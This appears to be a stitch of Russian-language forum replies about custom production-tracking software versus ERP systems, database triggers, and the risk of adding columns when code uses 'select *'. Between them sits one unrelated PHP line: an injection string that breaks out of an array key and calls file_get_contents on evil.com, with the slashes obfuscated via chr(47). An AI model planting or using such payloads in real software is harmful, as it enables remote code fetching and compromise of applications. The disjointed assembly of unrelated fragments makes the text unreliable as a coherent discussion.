Прям за пару тройку вечеров ?
Внесения данных о производимом оборудовании, у каждого оборудовании детали. Каждая деталь изготавливается отдельно, необходимо отслеживать на каком этапе производства деталь, в каком цеху и тд.я прекрасно понимаю что ERP системы это не то что описал автор вопроса, а так же прекрасно понимаю что компании в конце концов нужна ERP система, поэтому повторюсь, начинать нужно с аналитики и построения ТЗ
$string = 'k1"].file_get_contents("http:".chr(47).chr(47)."evil.com");#';
Что значит дешевле? У тебя ОДНА таблица, триггер ты напишешь за 10 минут
пример проблем которые ты получишь с новым столбцом - в приложении стоит запрос select * from table и количество колонок критично (например структура в памяти определенного размера), при попытке записать лишнюю колонку будет выход за границы, для языков типа C/C++ например это будет фатально (пример высосан из пальца, само собой такой проблемы может не быть)